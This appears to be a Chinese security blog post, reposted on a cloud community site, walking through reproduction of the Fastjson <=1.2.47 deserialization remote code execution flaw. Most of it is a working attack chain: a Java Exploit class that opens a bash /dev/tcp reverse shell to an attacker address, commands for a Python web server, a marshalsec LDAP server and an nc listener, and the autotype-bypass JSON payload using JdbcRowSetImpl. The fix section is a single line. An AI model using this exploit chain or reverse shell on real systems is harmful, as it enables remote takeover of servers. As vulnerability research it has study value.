超详细的Fastjson<=1.2.47反序列化漏洞复现

本文作者:daxi0ng(Timeline Sec新成员)

本文共1946字,阅读大约需要6分钟

0x00 简介

fastjson 是阿里巴巴的开源JSON解析库,它可以解析 JSON 格式的字符串,支持将 Java Bean 序列化为 JSON 字符串,也可以从 JSON 字符串反序列化到 JavaBean。

0x01 漏洞概述

首先,Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,其次,Fastjson自定义的反序列化机制时会调用指定类中的setter方法及部分getter方法,那么当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有可被恶意利用的逻辑(也就是通常所指的“Gadget”),则会造成一些严重的安全问题。并且在Fastjson 1.2.47及以下版本中,利用其缓存机制可实现对未开启autotype功能的绕过。

0x02 影响版本

Fastjson1.2.47以及之前的版本

0x03 环境搭建

Tomcat下载链接:

https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz

方法一:使用docker搭建tomcat

1、拉取官方镜像

docker pull rightctrl/tomcat

2、映射到我服务器8080端口

docker run -d --name tomcat -p 8080:8080 rightctrl/tomcat

3、访问http://ip:8080/

4、将fastjson环境安装在tomcat上

文件解压后,直接复制到tomcat的webapps目录下

docker cp fastjson1.2.47  tomcat:/usr/opt/tomcat/webapps/

5、进入容器查看是否复制成功

docker exec -i -t tomcat /bin/bash

目标是一个web应用,访问返回“Hello world”。正常POST一个json,目标会提取json对象中的name和age拼接成一句话返回。访问http://ip:8080/fastjson1.2.47/

至此docker的fastjson反序列化漏洞环境搭建成功

方法二:本地搭建tomcat

1、下载一个tomcat9

https://mirrors.tuna.tsinghua.edu.cn/apache/tomcat/tomcat-9/v9.0.27/bin/apache-tomcat-9.0.27.tar.gz

2、将此压缩包复制到我的linux服务器上

tar -zxvf apache-tomcat-9.0.27.tar.gz -C /
mv apache-tomcat-9.0.27 tomcat9

3、授予tomcat9这个文件夹777权限

chmod -R 777 /tomcat9

4、配置JDK版本及环境变量

export JAVA_HOME=/usr/java/jdk1.8.0_181
export JRE_HOME=/usr/java/jdk1.8.0_181/jre
export CLASS_PATH=.:$JAVA_HOME/lib/dt.jar:$JAVA_HOME/lib/tools.jar:$JRE_HOME/lib
export PATH=$PATH:$JAVA_HOME/bin:$JRE_HOME/bin
export CATALINA_HOME=/tomcat9

5、应用环境变量

source  etc/profile

6、启动tomcat

进入tomcat9下的bin目录

./catalina.sh start

最后复制fastjson1.2.47到webapps文件夹下,环境即搭建成功

0x04 漏洞利用

1、编译生成Exploit.class

首先将以下代码保存为Exploit.java(反弹shell命令在代码内,可自行调整)

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;

public class Exploit{
    public Exploit() throws Exception {
        Process p = Runtime.getRuntime().exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/xx.xx.xx.xx/1888;cat <&5 | while read line; do $line 2>&5 >&5; done"});
        InputStream is = p.getInputStream();
        BufferedReader reader = new BufferedReader(new InputStreamReader(is));

        String line;
        while((line = reader.readLine()) != null) {
            System.out.println(line);
        }

        p.waitFor();
        is.close();
        reader.close();
        p.destroy();
    }

    public static void main(String[] args) throws Exception {
    }
}

然后编译Exploit.java,会生成一个Exploit.class文件

javac Exploit.java

将编译生成的Exploit.class文件放至web目录下,即浏览器访问会下载

2、开启三个监听窗口

第一个,使用python搭建一个临时的web服务

python -m SimpleHTTPServer  1111

Ps:此步是为了接收LDAP服务重定向请求,需要在payload的目录下开启此web服务,这样才可以访问到payload文件

第二个,服务器使用marshalsec开启LDAP服务监听:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://ip:1111/#Exploit 9999

Ps:使用marshalsec工具快捷的开启LDAP服务,借助LDAP服务将LDAP reference result 重定向到web服务器

第三个,nc监听

nc -lvp 1888

Ps:这是最终得到shell的窗口

访问fastjson页面Burp发包,改为POST请求,使用EXP

{
    "name":{
        "@type":"java.lang.Class",
        "val":"com.sun.rowset.JdbcRowSetImpl"
    },
    "x":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"ldap://ip:9999/Exploit",
        "autoCommit":true
    }
 
}

发送后可以看到第三个窗口成功得到shell

0x05 修复方式

将Fastjson升级到最新版本

https://github.com/alibaba/fastjson

0x06 坑点

1、Docker中,在root用户下将JDK环境变量配置到了/etc/profile中,当时通过source /etc/profile命令使该文件生效,echo $JAVA_HOME时也没有问题,但是重启容器以后就又不生效了

解决:在/root/.bashrc文件中添加一句source /etc/profile(或者将环境变量的配置放到该文件中)

2、在使用LDAP服务反弹shell用的命令不能直接使用

"bash -i >& /dev/tcp/xx.xx.xx.xx/1888 0>&1"

3、jdk版本一定要注意!

启动服务之前用 java -version查看自己的jdk版本是否低于以下jdk版本

参考文章:

http://www.svenbeast.com/post/c0VE5mjC-/#0x03-%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA

https://www.cnblogs.com/moonsoft/p/9264883.html

https://www.cnblogs.com/Welk1n/p/11446519.html

https://blog.csdn.net/lwcaiCSDN/article/details/87862025

本文分享自微信公众号 - Timeline Sec(PaperPenSec)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2019-11-13

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏前端自习课

【全栈修炼】RESTful架构及实践修炼宝典

REST:(Representational State Transfer)即表现层状态转换,定义了资源的通用访问格式,是一种网络应用程序的设计风格和开发方式。

9860
来自专栏MongoDB中文社区

NoSQL教程:了解NoSQL的功能,类型,含义,优势

NoSQL是一种非关系型DMS,不需要固定的架构,可以避免joins链接,并且易于扩展。NoSQL数据库用于具有庞大数据存储需求的分布式数据存储。NoSQL用于...

7910
来自专栏凹凸玩数据

一篇长文带你在python里玩转Json数据

很多网站都会用到Json格式来进行数据的传输和交换,就像上篇我提到的网易云音乐接口,它们返回的数据都是Json格式的。

10120
来自专栏凹凸玩数据

数说:这只程序员组建的乐队为何能进HOT5?

上周六晚,爱奇艺的独家综艺《乐队的夏天》总决赛终于落下了帷幕,虽然决赛过程有些“曲折”,但是我最喜欢的刺猬乐队,仍然凭借自己的硬实力,最终排在第二名!

7120
来自专栏编程微刊

ajax请求解析json数据渲染在前端界面

10030
来自专栏凹凸玩数据

我用python帮朋友做了张图,结果

打开官网,找到并跳转到猪价网址 http://zhujia.zhuwang.cc/

8220
来自专栏lib库

WebView开源库终极方案

8530
来自专栏Linux驱动

50.Qt-QJsonDocument读写json

7120
来自专栏cnSwift

Golang语言之JSON解码函数Unmarshal

工作中我们经常会遇到解码JSON格式的数据,本文通过4个示例介绍工作中常用到的四种 JSON格式。在 Golang语言中,通常是使用标准库的encoding/j...

6310
来自专栏madMen

check cve

今天想检查一下 Gitlab 11.9.0 产品受哪些 cve 的影响。其实网上已经有很多网站可以查询产品的相关 cve,但就是粒度比较粗。我想在 cve 列表...

10630

扫码关注云+社区

领取腾讯云代金券

年度创作总结 领取年终奖励